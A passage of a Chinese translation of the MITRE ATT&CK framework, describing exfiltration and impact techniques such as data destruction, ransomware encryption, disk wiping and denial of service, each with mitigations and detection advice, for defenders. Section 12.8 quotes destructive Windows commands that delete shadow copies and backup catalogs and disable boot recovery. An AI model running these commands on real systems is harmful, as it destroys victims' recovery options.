数据渗漏是通过 C&C 通道执行的。使用与 C&C 通信相同的协议将数据编码到正常通信通道中。

缓解

| 缓解措施 | 说明 |
|---|---|
| 网络入侵防御 | 使用可以通过网络签名来识别特定攻击者恶意软件流量的网络入侵检测和防御系统来缓解网络级别活动的影响。签名通常是协议中的唯一指示符，可能基于攻击者或工具的特定混淆技术，并且在各种恶意软件系列和版本中可能会有所不同。攻击者可能会随着时间的推移更改工具 C&C 签名，或者构建协议来逃避常见防御工具的检测。 |

检测

监控 C&C。分析网络数据中不常见的数据流（例如，客户端发送的数据明显多于从服务器接收的数据）。如果以前不和网络通信的进程现在使用了网络，或者出现了以前从未见过的进程，则是可疑的。分析数据包内容来检测未遵循所使用端口的预期协议而进行的通信。

# 11.7 非 C&C 通道的数据渗漏

| |
|---|
| 编号：T1011<br>技术：数据渗漏<br>平台：Linux，macOS，Windows<br>数据源：用户接口，进程监控<br>是否需要网络：是<br>贡献者：Itzik Kotler，SafeBreach<br>版本：1.0 |

数据渗漏可能发生在与 C&C 通道不同的网络介质上。如果 C&C 网络是有线 Internet 连接，则可能会在 WiFi 连接，调制解调器，蜂窝数据连接，蓝牙，或其它射频（RF）通道发生数据渗漏。如果攻击者有足够的访问权限或足够近，他们可以选择这样做。而且，连接及主要的 Internet 连接通道可能不安全，因为数据不是在同一企业网络上路由的。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 操作系统配置 | 尽可能避免创建新的网络适配器。 |

检测

如果以前不和网络通信的进程现在使用了网络，或者出现了以前从未见过的进程，则是可疑的。通常需要用户驱动的事件（例如，单击鼠标或按键）来访问网络的进程现在在不使用此类事件的情况下访问网络，则可能是恶意行为。

监控并调查对主机适配器设置的更改，例如添加和/或复制通信接口。

## 11.8 物理介质上的数据渗漏

编号：T1052

技术：数据渗漏

平台：Linux，macOS，Windows

系统要求：存在物理介质或设备

数据源：数据丢失防御，文件监控

是否需要网络：否

版本：1.0

某些情况下，例如当网闸隔离的网络遭受攻击时，数据渗漏可能会在用户引入的物理介质或设备上发生。这样的介质可以是外接硬盘，U 盘，蜂窝电话，MP3 播放器或其他可移动存储和处理设备。物理介质或设备可以用作最终渗漏点，也可以用于在其他断连系统之间跳转。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 特性/程序禁用或移除 | 如果不需要，请禁用自动运行功能。如果业务操作不需要可移动介质，则在组织策略级别上禁止或限制它们。 |

检测

监控可移动介质上的文件访问。检测装入可移动介质时执行的进程。

# 11.9 定时传输

编号：T1029

技术：数据渗漏

平台：Linux，macOS，Windows

数据源：Netflow/Enclave 技术网络流分析，网络进程使用，进程监控

是否需要网络：是

版本：1.0

只能在一天中的特定时间或特定时间间隔执行数据渗漏攻击。这样做可以将流量模式与正常活动或可用性混合在一起。

攻击者执行定时数据渗漏攻击时，可同时使用其他渗漏技术，例如经由 C&C 的数据渗漏和备用协议上的数据渗漏，来将信息传输到网络之外。

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络入侵防御 | 使用可以通过网络签名来识别特定攻击者 C&C 基础设施及恶意软件流量的网络入侵检测和防御系统来缓解网络级别活动的影响。签名通常是协议中的唯一指示符，可能基于攻击者或工具的特定混淆技术，并且在各种恶意软件系列和版本中可能会有所不同。攻击者可能会随着时间的推移更改工具 C&C 签名，或者构建协议来逃避常见防御工具的检测。 |

## 检测

监控进程文件访问模式和网络行为。如果有无法识别的进程或脚本似乎正在遍历文件系统并发送网络流量，则是可疑的。如果连续数天的同一时间都有指向同一个目的地的网络连接，则是可疑的。

# 12. 恶劣影响

## 12.1 数据破坏

编号：T1485

技术：恶劣影响

平台：Linux，macOS，Windows

所需权限：用户，管理员，root，系统

数据源：文件监控，进程命令行参数，进程监控

影响类型：可用性

版本：1.0

攻击者可能会破坏特定系统或网络上大量系统中的数据和文件，从而中断系统、服务和网络资源的可用性。他们通过覆盖本地和远程驱动器上的文件或数据使得数据无法通过取证技术恢复。常见的操作系统文件删除命令（例如 `del` 和 `rm` ）通常只删除指向文件的指针，而不会擦除文件本身的内容，从而使得文件可以通过适当的取证方法来恢复。“数据破坏”与“磁盘内容擦除”及“磁盘结构擦除”的不同之处在于“数据破坏”破坏的是单个文件，而不是存储磁盘分区或磁盘逻辑结构。

攻击者可能会尝试使用随机生成的数据覆盖文件和目录，从而使其无法恢复。某些情况下，攻击者会使用具有政治倾向的图像文件来覆盖数据。

为了在以网络范围的可用性中断为目标的操作中最大限度地影响目标组织，设计用于破坏数据的恶意软件可能具有类似蠕虫的功能，通过利用其他技术（如有效帐户、凭据导出、Windows 管理员共享等）在网络上传播。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 数据备份 | 考虑实施 IT 容灾计划，包括可用于恢复组织数据的定期数据备份过程。确保备份数据存储在系统之外并且受到保护，以防攻击者使用常见方法访问、破坏并阻止备份数据恢复。 |

### 检测

通过进程监控来检测数据破坏活动相关二进制文件的执行和命令行参数，例如 SDelete。 监控可疑文件的创建以及异常文件修改活动。特别是，请在用户目录和 `C:\Windows\System32\` 下查找是否有大量文件修改活动。

## 12.2 为了恶劣影响而数据加密

编号：T1486

技术：恶劣影响

平台：Linux，macOS，Windows

所需权限：用户，管理员，root，系统

数据源：内核驱动程序，文件监控，进程命令行参数，进程监控

影响类型：可用性

版本：1.0

攻击者可能会加密目标系统或网络上大量系统中的数据，从而中断系统和网络资源的可用性。他们可以尝试通过加密本地和远程驱动器上的文件或数据并扣留解密密钥的访问权限来使得存储的数据不可访问。这样做可能是为了让攻击者提供金钱补偿来换取解密或解密密钥（勒索软件），或者在密钥未被保存或传输的情况下使得数据永久不可访问。如果攻击者使用了勒索软件，常见的用户文件如 Office 文档、PDF、图像、视频、音频、文本和源代码文件，都会被加密。某些情况下，攻击者可能会加密关键系统文件、磁盘分区和 MBR。

为了最大限度地影响目标组织，设计用于加密数据的恶意软件可能具有类似蠕虫的功能，通过利用其他攻击技术（如有效帐户、凭据导出、Windows 管理员共享等）在网络上传播。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 数据备份 | 考虑实施 IT 容灾计划，包括可用于恢复组织数据的定期数据获取和测试过程。确保备份数据存储在系统之外并且受到保护，以防攻击者使用常见方法访问、破坏并阻止备份数据恢复。 |

### 检测

通过进程监控来检测数据破坏活动相关二进制文件的执行和命令行参数，例如 vssadmin，wbadmin 和 bcdedit。监控可疑文件的创建以及异常文件修改活动。特别是，请在用户目录下查找是否有大量文件修改活动。

某些情况下，监控异常的内核驱动程序安装活动可以帮助检测。

# 12.3 网页置换攻击

编号：T1491

技术：恶劣影响

平台：Linux，macOS，Windows

数据源：网络抓包，web 应用防火墙日志，web 日志

影响类型：完整性

版本：1.0

攻击者可能会修改企业网内外的可视内容，目的是传递消息，恐吓或获取（可能是欺骗）信任来入侵系统。

## 内部

攻击者可能会针对组织内部系统实施网页置换攻击来恐吓或误导用户，比如修改网站内容或置换桌面壁纸。他们可能会用令人不安或反感的图像来引起用户不适或迫使用户顺从随附的消息。尽管网页置换攻击暴露了攻击者的存在，但它通常发生在其他入侵目标完成之后。

## 外部

网站是攻击者和黑客团体实施网页置换攻击的常见目标，目的是发布政治信息或展开宣传。网页置换攻击可能是事件的催化剂，或用于回应组织或政府的行动。网页置换攻击也可能其它攻击（如网页木马攻陷）的骗局或先兆。

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 数据备份 | 考虑实施 IT 容灾计划，包括可用于恢复组织数据的定期数据备份过程。确保备份数据存储在系统之外并且受到保护，以防攻击者使用常见方法访问、破坏并阻止备份数据恢复。 |

## 检测

监控内外部网站上计划外的内容修改。监控应用日志中来查看是否有异常行为表示攻击者执行了漏洞攻击尝试或已取得成功。执行深度数据包检查来查看常见漏洞攻击的副产物，例如 SQL 注入。Web 应用防火墙可以检测到与漏洞攻击企图相关的不恰当输入。

# 12.4 磁盘内容擦除

编号： T1488

| |
|---|
| 技术： 恶劣影响 |
| 平台： Linux, macOS, Windows |
| 所需权限： 用户，管理员, root 用户，系统 |
| 数据源： 内核驱动，进程监控，进程命令行参数 |
| 影响类型：可用性 |
| 版本： 1.0 |

攻击者可以擦除特定系统上的存储的内容以及网络中的大量系统以中断系统和网络资源的可用性。

攻击者可能部分或完全覆盖存储设备的内容，使得数据无法通过存储接口恢复。具有破坏性意图的攻击者可能会擦除磁盘内容的任意部分，而不是擦除特定的磁盘结构或文件。为了擦除磁盘内容，攻击者可以获得对硬盘驱动器的直接访问，以便用随机数据覆盖任意大小的磁盘部分。已经观察到攻击者利用 RawDisk 等第三方驱动程序直接访问磁盘内容。此行为与数据销毁不同，因为磁盘的部分已删除而不是单个文件。

为了最大限度地提高对网络可用性中断的目标组织的影响，用于擦除磁盘内容的恶意软件可能具有类似蠕虫的功能，可通过利用其他技术（如有效帐户，凭据转储和 Windows 管理员共享）在网络中传播。

缓解

| 缓解措施 | 说明 |
|---|---|
| 数据备份 | 考虑实施 IT 灾难恢复计划，其中包含用于执行可用于还原组织数据的常规数据备份的过程。 确保备份存储在系统之外，并受到保护，以防止攻击者可能使用常用方法获取访问权限并销毁备份以防止恢复。 |

检测

监控对敏感位置（如分区引导扇区或 BIOS 参数块/超级块）的读取/写入。 监视异常内核驱动程序安装活动。

# 12.5 磁盘结构擦除

| |
|---|
| 编号： T1487 |
| 技术： 恶劣影响 |
| 平台： Windows, macOS, Linux |
| 所需权限： 管理员, root 用户，系统 |
| 数据源： 内核驱动，MBG |

| |
|---|
| 影响类型：可用性<br>版本： 1.0 |

攻击者可能会破坏或擦除引导系统所需的硬盘上的磁盘数据结构;针对特定关键系统以及网络中的大量系统，以中断系统和网络资源的可用性。

攻击者可能会尝试通过覆盖位于主启动记录（MBR）或分区表等结构中的关键数据来使系统无法启动。磁盘结构中包含的数据可以包括用于加载操作系统的初始可执行代码或磁盘上文件系统分区的位置。如果此信息不存在，计算机将无法在引导过程中加载操作系统，从而使计算机不可用。磁盘结构擦除可以单独执行，也可以与磁盘内容擦除一起执行如果磁盘的所有扇区都被擦除。

为了最大限度地提高对目标组织的影响，设计用于销毁磁盘结构的恶意软件可能具有类似蠕虫的功能，可以通过利用其他技术（如有效帐户，凭据转储和 Windows 管理员共享）在网络中传播。

缓解

| **缓解措施** | **说明** |
|---|---|
| 数据备份 | 请考虑实施 IT 灾难恢复计划，其中包含用于执行可用于还原组织数据的常规数据备份的过程。 确保备份存储在系统之外，并受到保护，以防止攻击者可能使用常用方法获取访问权限并销毁备份以防止恢复。 |

检测

监控对敏感位置（如主引导记录和磁盘分区表）的读取/写入。 监视异常内核驱动程序安装活动。

# 12.6 终端拒绝服务

| |
|---|
| 编号：T1499<br>技术：恶劣影响<br>平台：Linux，macOS，Windows<br>数据源：SSL/TLS 检查，web 日志，web 应用防火墙日志，网络入侵检测系统，网络协议分析，网络设备日志，Netflow/Enclave 技术网络流分析<br>影响类型：可用性<br>CAPEC ID：CAPEC-227,CAPEC-131,CAPEC-130,CAPEC-125<br>版本：1.0 |

攻击者可能会执行端点拒绝服务（DoS）攻击来降低或阻止服务对用户的可用性。方法包括耗尽服务（比如，网站、电子邮件、DNS 和 web 应用）所在的系统资源或利用系统来导致持续的崩溃。已发现有攻击者出于政治目的或为了支持其它恶意活动而实施终端 DoS 攻击，包括分散注意力，黑客行为和敲诈勒索。

端点 DoS 攻击拒绝服务的可用性，但不会使提供服务访问的网络饱和。攻击者可以针对提供服务的系统上托管的应用堆栈的各个层来实施 DoS 攻击。 这些层包括操作系统（OS），服务器应用（例如 web 服务器，DNS 服务器，数据库）以及它们之上的应用（通常基于 web）。攻击每一层需要用不同的技术来利用各个组件特有的瓶颈。DoS 攻击可能发生于单个系统或分布在 Internet 上的多个系统，通常称为分布式 DoS（DDoS）。

可以采用多种方法来针对端点资源执行 DoS 攻击，包括 IP 地址伪造和僵尸网络。

攻击者可能会使用攻击系统的原始 IP 地址或伪造源 IP 地址来使得防御程序很难从攻击流量追溯到攻击系统或启用反射。这会降低或消除网络防御设备上源地址过滤的有效性，从而增加防御程序防御攻击的难度。

僵尸网络通常用于对网络和服务进行 DDoS 攻击。大型僵尸网络可以从遍布全球互联网的系统中产生大量流量。攻击者可能拥有足够资源来构建和控制自己的僵尸网络基础设施，也可以租用已有的僵尸网络来实施攻击。在 DDoS 的一些最坏情况下，许多系统被用来生成请求，每个系统只需要发送少量数据就可以产生足够的数据量来耗尽目标的资源。这种情况下，区分 DDoS 流量和合法客户端变得非常困难。僵尸网络已经被用于一些引人瞩目的 DDoS 攻击行动，例如 2012 年针对美国主要银行的一系列攻击。

在流量操纵情况下，全局网络（例如高流量网关路由器）中可能存在可以更改数据包并导致合法客户端执行代码以将大量网络数据包定向到目标的点。这种类型的功能以前用于 web 审查，其中客户端 HTTP 流量被修改为包含 JavaScript 的引用。该 JavaScript 生成 DDoS 代码以攻击目标 web 服务器。

关于试图使提供服务的网络饱和的攻击，请参考“网络拒绝服务”。

### 操作系统耗尽泛洪

由于操作系统（OS）负责管理系统上的有限资源，它们可能会成为 DoS 的目标。这种攻击不需要耗尽系统上的实际资源，因为它们只需耗尽操作系统自我施加的限制。操作系统自我施加限制是为了防止整个系统因容量不满足要求而变得不堪重负。存在多种实现此目的的方法，包括 TCP 状态耗尽攻击，例如 SYN 泛洪和 ACK 泛洪。

### SYN 泛洪

SYN 泛洪攻击会发送过多的 SYN 数据包，但 TCP 三向握手永远不会完成。因为每个操作系统都有最大并发 TCP 连接数限制，SYN 泛洪攻击会很快耗尽系统接收 TCP 连接新请求的能力，从而阻止访问服务器提供的任何 TCP 服务。

### ACK 泛洪

ACK 泛洪攻击利用了 TCP 协议的状态性质，发送大量 ACK 数据包到目标，迫使操作系统在其状态表中搜索是否已建立相关 TCP 连接。如果 ACK 数据包用于不存在的连接，操作系统必须搜索整个状态表来确认不存在匹配项。当有数量巨大的 ACK 数据包必需处理时，操作系

统需要检查数据包状态来判断它们是否合法从而剔除恶意数据包，服务器也会不堪重负导致响应缓慢或无响应。这个过程占用了大量用于提供目标服务的资源。

### 服务耗尽泛洪

攻击者针对系统提供的不同网络服务以不同的方式来实施 DoS 攻击。他们通常以 DNS 和 web 服务器为攻击目标，但也可能以其他服务为目标。他们可用多种方法攻击 web 服务器软件，其中某些方法适用范围较广，而另外一些方法只适用于提供服务的软件。

### 简单 HTTP 泛洪

可以向 web 服务器发出大量 HTTP 请求，以使其和/或在其之上运行的应用不堪重负。这种泛洪攻击依赖于原始请求来实现目标，耗尽了攻击对象软件提供服务所需的各种资源。

### SSL 重新协商攻击

SSL 重新协商攻击利用 SSL/TLS 协议功能。SSL/TLS 协议套件包括客户端和服务器就用于后续安全连接的加密算法达成一致的机制。如果启用了 SSL 重新协商功能，则可以请求重新协商加密算法。在重新协商攻击中，攻击者建立 SSL/TLS 连接，然后生成一系列重新协商请求。由于密码重新协商在计算周期中有相当大的成本，因此处理大量重新协商请求可能会影响服务的可用性。

### 应用耗尽泛洪

位于 web 服务器堆栈顶部的 web 应用可以作为 DoS 攻击的目标。Web 应用中的特定功能可能会占用大量资源。对这些功能的重复请求可能会耗尽资源并拒绝访问应用或服务器本身。

### 应用或系统漏洞利用

如果软件存在漏洞，利用这些漏洞可能导致应用或系统崩溃并拒绝向用户提供可用性。发生崩溃后，某些系统可能会自动重启关键应用和服务，但是很可能会重新遭受漏洞攻击，导致其处于持久的 DoS 状态。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络流量过滤 | 利用 CDN 或专门从事 DoS 缓解工作的提供商提供的服务来过滤服务上游的流量。通过阻止源地址发起攻击、阻止目标端口或阻止用于传输的协议来过滤边界流量。要防御 SYN 泛洪攻击，请启用 SYN Cookies。 |

### 检测

有时可以在端点 DoS 攻击效果足以对服务的可用性造成重大影响之前就检测到攻击的存在，但通常需要非常积极的监控和灵敏度。可使用典型的网络吞吐量监控工具（如 netflow、SNMP 和自定义脚本）来检测电路利用率的突然增加。对网络流量的实时、自动化和定性研究可以识别某种协议中的流量突然激增，可以用于在攻击开始时就检测到它。

除了网络级别的检测之外，端点日志记录和工具也很有用。针对 web 应用的攻击可能会在 web 服务器、应用程序服务器和/或数据库服务器中生成日志。这些日志可用于确定攻击类型，甚至可能在受到影响之前就已确定。

对外监控端点 DoS 攻击可能针对的服务的可用性。

## 12.7 固件损坏

编号： T1495

技术： 恶劣影响

平台： Linux, macOS, Windows

所需权限： 管理员, root 用户，系统

数据源： BIOS，组件固件

影响类型：可用性

版本： 1.0

攻击者可能会覆盖或破坏系统 BIOS 或连接到系统的设备中的其他固件的闪存内容，以使其无法操作或无法启动。固件是从硬件设备上的非易失性存储器加载和执行的软件，用于初始化和管理设备功能。 这些设备可能包括主板，硬盘驱动器或视频卡。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 启动完整性检查 | 检查现有 BIOS 和设备固件的完整性，以确定它是否易于修改。 |
| 特权账户管理 | 防止攻击特权帐户或更换系统固件所需的访问权限。 |
| 更新软件 | 根据需要修补 BIOS 和其他固件，以防止使用已知漏洞。 |

### 检测

检测系统固件操作。记录读取/写入 BIOS 的行为并与已知的正常修补行为进行比较。

## 12.8 禁止系统恢复

编号： T1490

| |
|---|
| 技术： 恶劣影响 |
| 平台： Windows, macOS, Linux |
| 所需权限： 管理员, root 用户，系统，用户 |
| 数据源： Windows 注册表，服务，Windows 时间日志，进程命令行参数，进程监控 |
| 影响类型：可用性 |
| 贡献者: Yonatan Gotlib, Deep Instinct |
| 版本： 1.0 |

攻击者可能会删除或删除内置操作系统数据，并关闭旨在帮助恢复已损坏系统的服务。操作系统可能包含可帮助修复损坏系统的功能，例如备份目录，卷副本和自动修复功能。攻击者可以禁用或删除系统恢复功能，以增强数据销毁和数据加密的影响。

许多本机 Windows 实用程序被攻击者使用来禁用或删除系统恢复功能：

- `vssadmin.exe` 可用于删除系统上的所有卷影副本 —— `vssadmin.exe delete shadows /all /quiet`
- Windows Management Instrumentation 可用于删除卷影副本 —— `wmic shadowcopy delete`
- `wbadmin.exe` 可用于删除 Windows 备份目录 —— `wbadmin.exe delete catalog -quiet`
- `bcdedit.exe` 可用于修改引导配置数据来禁用 Windows 自动恢复功能 —— `bcdedit.exe /set {{default}} bootstatuspolicy ignoreallfailures & bcdedit /set {{default}} recoveryenabled no`

## 缓解

| 缓解措施 | 说明 |
|---|---|
| 数据备份 | 请考虑实施 IT 灾难恢复计划，其中包含用于执行可用于还原组织数据的常规数据备份的过程。 确保备份存储在系统之外，并受到保护，以防止攻击者可能使用常用方法获取访问权限并销毁备份以防止恢复。 |
| 操作系统配置 | 考虑技术控制以防止禁用服务或删除系统恢复中涉及的文件。 |

## 检测

使用进程监视来监视禁止系统恢复所涉及的二进制文件的执行和命令行参数，例如 vssadmin，wbadmin 和 bcdedit。 Windows 事件日志，例如 事件 ID 524 指示系统目录已被删除，可能包含与可疑活动相关联的条目。

监视系统恢复中涉及的服务的状态。 监视注册表以查找与系统恢复功能相关的更改（例如：创建 `HKEY_CURRENT_USER\Software\Policies\Microsoft\PreviousVersions\DisableLocalPage`）。

# 12.9 网络拒绝服务

编号：T1498

技术：恶劣影响

平台：Linux，macOS，Windows

数据源：传感器健康和状态，网络协议分析，Netflow/Enclave 技术网络流分析，网络入侵检测系统，网络设备日志

影响类型：可用性

版本：1.0

攻击者可能会执行网络拒绝服务（DoS）攻击来降低或阻止用户获得资源的可能性。方法包括耗尽服务（比如，网站、电子邮件、DNS 和 web 应用）所依赖的网络带宽。已发现有攻击者出于政治目的或为了支持其它恶意活动而实施网络 DoS 攻击，包括分散注意力，黑客行为和敲诈勒索。

网络 DoS 攻击发生时，指向资源或资源依赖的网络连接和设备的恶意流量会耗尽系统网络连接的带宽容量。例如，攻击者可能会向以 1Gbps 带宽与 Internet 互联的网络中托管的某个服务器发送 10Gbps 的流量。DoS 攻击可能发生于单个系统或分布在 Internet 上的多个系统，通常称为分布式 DoS（DDoS）。已发现许多使网络饱和的不同方法，但大多数方法可归为两大类：直接网络泛洪和反射放大。

可以采用多种方法来执行网络 DoS 攻击，包括 IP 地址伪造和僵尸网络。

攻击者可能会使用攻击系统的原始 IP 地址或伪造源 IP 地址来使得防御程序很难从攻击流量追溯到攻击系统或启用反射。这会降低或消除网络防御设备上源地址过滤的有效性，从而增加防御程序防御攻击的难度。

僵尸网络通常用于对网络和服务进行 DDoS 攻击。大型僵尸网络可以从遍布全球互联网的系统中产生大量流量。攻击者可能拥有足够资源来构建和控制自己的僵尸网络基础设施，也可以租用已有的僵尸网络来实施攻击。在 DDoS 的一些最坏情况下，许多系统被用来生成请求，每个系统只需要发送少量数据就可以产生足够的数据量来使得目标网络饱和。这种情况下，区分 DDoS 流量和合法客户端变得非常困难。僵尸网络已经被用于一些引人瞩目的 DDoS 攻击行动，例如 2012 年针对美国主要银行的一系列攻击。

关于直接针对托管系统的 DoS 攻击，请参考“终端拒绝服务”。

### 直接网络泛洪

直接网络泛洪攻击是指使用一个或多个系统向目标服务的网络发送大量网络数据包。几乎任何网络协议都可以用于直接网络泛洪攻击。通常使用无状态协议（例如 UDP 或 ICMP），但也可以使用有状态协议（例如 TCP）。

### 反射放大

攻击者可能会通过反射来放大其攻击流量。这种类型的网络 DoS 攻击利用了第三方服务器中介，这个第三方服务器会对伪造的源 IP 地址做出回应。该第三方服务器通常称为反射器。攻击者以伪造的源 IP 地址发送数据包到反射器来实施反射攻击。与直接网络泛洪攻击类似，攻击者可能会使用多个系统来实施攻击，也可以使用僵尸网络。同样地，攻击者可以使用一个或多个反射器将流量集中到目标上。

反射攻击通常利用响应量大于请求量的协议来放大其流量，通常称为反射放大攻击。攻击者可能能够生成比发送到放大器的请求大几个数量级的攻击流量。增长程度取决于许多变量，例如相关协议、所使用的技术以及实际造成攻击量放大的放大服务器。DNS 和 NTP 是启用发射泛洪攻击的两个主要协议。当然也有一些其它协议启用发射泛洪攻击的相关记录。特别是，memcache 协议显示出它是一个强大的协议，其放大倍数高达请求包的 51200 倍。

### 缓解

| **缓解措施** | **说明** |
| --- | --- |
| 网络流量过滤 | 当泛洪数据量超过目标网络连接的容量时，通常有必要拦截上游的传入流量，从合法流量中过滤出攻击流量。此类防御措施可以由托管 Internet 服务提供商（ISP），第三方（例如 CDN）或专门从事 DoS 缓解的提供商提供。根据洪泛数据量，可通过阻止源地址发起攻击、阻止目标端口或阻止用于传输的协议来进行内部过滤。由于即时响应可能需要第三方的快速参与，分析网络 DoS 攻击影响的关键资源的相关风险并制定容灾计划/业务连续性计划。 |

### 检测

有时可以在网络 DoS 攻击效果足以对服务的可用性造成重大影响之前就检测到攻击的存在，但通常需要非常积极的监控和灵敏度，或者上游网络服务提供商所提供的服务。可使用典型的网络吞吐量监控工具（如 netflow、SNMP 和自定义脚本）来检测网络或服务利用率的突然增加。对网络流量的实时、自动化和定性研究可以识别某种协议中的流量突然激增，可以用于在网络 DoS 攻击开始时就检测到它。然后，可以使用上述分析工具来确定导致中断的 DoS 攻击类型，并帮助进行补救。

## 12.10 资源劫持

编号：T1496

技术：恶劣影响

平台：Linux，macOS，Windows

所需权限：用户，管理员

数据源：网络进程使用，进程监控，网络协议分析，网络设备日志

影响类型：可用性

版本：1.0

攻击者可能会利用增选系统的资源来解决可能影响系统和/或托管服务可用性的资源相关问题。

资源劫持攻击的一个常见目的是验证加密货币网络的交易并获得虚拟货币。攻击者可能会消耗足够的系统资源，从而对攻击的计算机造成负面影响和/或使它们不能响应。资源劫持攻击的常见目标是服务器和基于云的系统，因为它们具有很高的可用资源潜力。但攻击者也可能会入侵用户端点系统来实施资源劫持攻击和挖掘加密货币。

### 缓解

这种攻击技术无法通过预防性控制轻松缓解，因为它基于滥用系统功能。

### 检测

考虑监控进程资源使用情况来确定与恶意劫持计算机资源（例如 CPU，内存和图形处理资源）相关的异常活动。监控加密货币挖掘软件相关的网络资源的可疑使用。监控本地系统上常见的加密采矿软件进程名称和文件，这些名称和文件可能表明存在入侵和资源使用情况。

## 12.11 运行时数据操控

编号： T1494

技术： 恶劣影响

平台： Linux, macOS, Windows

所需权限： 用户，管理员, root 用户，系统

数据源： 文件监控，进程监控

影响类型：完整性

版本： 1.0

攻击者可以修改系统，以便在访问和显示给最终用户时操纵数据。通过操纵运行时数据，攻击者可能会尝试影响业务流程，组织理解和决策制定。

攻击者可能会更改用于显示数据的应用程序二进制文件，以便进行运行时操作。 攻击者还可以进行更改默认文件关联和伪装以产生类似的效果。 修改的类型及其将产生的影响取决于目

标应用程序和进程以及对手的目的和目标。 对于复杂的系统，攻击者可能需要特殊的专业知识，并且可能需要访问与系统相关的专用软件，这些软件通常通过长时间的信息收集活动获得，以便产生预期的影响。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络分段 | 确定可能成为攻击目标的关键业务和系统流程，并努力隔离和保护这些系统，防止未经授权的访问和篡改。 |
| 限制文件和目录权限 | 防止关键业务和系统进程被替换、被覆盖或被重新配置以加载潜在的恶意代码。 |

检测

检查重要的应用程序二进制文件哈希、位置和可疑/意外的修改。

# 12.12 服务停止

编号：T1489

技术：恶劣影响

平台：Windows

所需权限：管理员，系统，用户

数据源：进程命令行参数，进程监控，Windows 注册表，API 监控

影响类型：可用性

版本：1.0

攻击者可能会停止或禁用系统上的服务，使得合法用户无法使用这些服务。停止关键服务可能会抑制或停止对事件的响应，或者有助于攻击者的总体目标，从而对环境造成破坏。

攻击者可能会通过禁用对组织至关重要的单个服务（例如 `MSExchangeIS`）来实现目的，这将使得 Exchange 内容不可访问。某些情况下，攻击者可能会停止或禁用许多或所有服务，从而使系统无法使用。服务在运行时可能不允许修改其数据存储。攻击者可能会停止服务来对 Exchange 和 SQL Server 等服务的数据存储区进行数据破坏或数据加密攻击。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络分区 | 在与生产环境不同的网络上执行入侵检测、分析和响应系统，从而减少攻击者看到和干扰关键响应功能的机会。 |
| 文件和目录权限限制 | 确保有适当的流程和文件权限，防止攻击者禁用或干扰关键服务。 |

| | |
|---|---|
| 注册表权限限制 | 确保有适当的注册表权限，防止攻击者禁用或干扰关键服务。 |
| 用户账号管理 | 限制用户账号和群组的权限，以便只有授权的管理员才能更改和配置服务。 |

### 检测

监控进程和命令行参数来查看是否有关键进程终止或停止运行。

监控注册表编辑器来查看是否有服务修改或与重要服务相对应的启动程序的修改。查找已知软件、补丁周期不相关服务注册表项的修改。服务信息存储在 `HKLM\SYSTEM\CurrentControlSet\Services` 路径下的注册表中。

服务二进制路径的更改或服务启动类型更改为“禁用”可能是可疑的。

攻击者可能会使用带内置功能的远程访问工具来直接与 Windows API 交互，从而在常见系统实用程序外执行他们的功能，例如，使用 `ChangeServiceConfigW` 来阻止服务启动。

## 12.13 存储数据操纵

编号：T1492

技术：恶劣影响

平台：Linux，macOS，Windows

所需权限：用户，管理员，root，系统

数据源：应用日志，文件监控

影响类型：完整性

版本：1.0

攻击者可能会插入、删除或操纵静态数据，以便操纵外部结果或隐藏活动。攻击者可能会试图通过操纵存储的数据来影响业务流程、组织理解和决策。

存储的数据可以包括多种文件格式，例如 Office 文件，数据库，存储的电子邮件和自定义文件格式。修改的类型及其所产生的影响取决于数据的类型以及攻击者的目的和目标。对于复杂的系统，攻击者可能需要特殊的专业知识，并可能需要通过长期的信息收集活动获得与系统相关的专门软件，从而产生预期的影响。

### 缓解

| 缓解措施 | 说明 |
|---|---|
| 敏感信息加密 | 考虑对重要信息进行加密，从而降低攻击者执行定制数据修改的能力。 |

| | |
|---|---|
| 远程数据存储 | 考虑实施 IT 容灾计划，包括可用于恢复组织数据的定期数据备份过程。确保备份数据存储在系统之外并且受到保护，以防攻击者使用常见方法访问并操纵备份数据。 |
| 文件和目录权限限制 | 确保对重要信息资源使用最小权限原则，从而减少数据操纵风险。 |

### 检测

如果可以的话，检查重要文件哈希和位置并查看是否有修改为可疑/意外值的情况。

## 12.14 传输数据操纵

编号： T1493

技术： 恶劣影响

平台： Linux, macOS, Windows

所需权限： 用户，管理员, root 用户，系统

数据源： 网络抓包，网络协议分析

影响类型：完整性

版本： 1.0

攻击者可能会改变前往存储或其他系统的数据，以便操纵外部结果或隐藏活动。通过操纵传输的数据，攻击者可能会尝试影响业务流程，组织理解和决策制定。

可以通过网络连接进行操作，或在可能被拦截和更改信息的系统进程之间进行操作。 修改的类型及其将产生的影响取决于目标传输机制以及对手的目的和目标。 对于复杂的系统，攻击者可能需要特殊的专业知识，并且可能需要访问与系统相关的专用软件，这些软件通常通过长时间的信息收集活动获得，以便产生预期的影响。

### 缓解

| **缓解措施** | **说明** |
|---|---|
| 加密敏感信息 | 加密所有重要数据流，以减少定制修改对传输中数据的影响。 |

### 检测

没有适当的工具，在网络通过时检测数据的操纵可能是困难的。 在某些情况下，完整性验证检查（例如文件哈希）可以在关键文件传输网络时使用。 对于涉及数据传输的一些关键过程，手动或完整性检查对于识别操纵数据可能是有用的。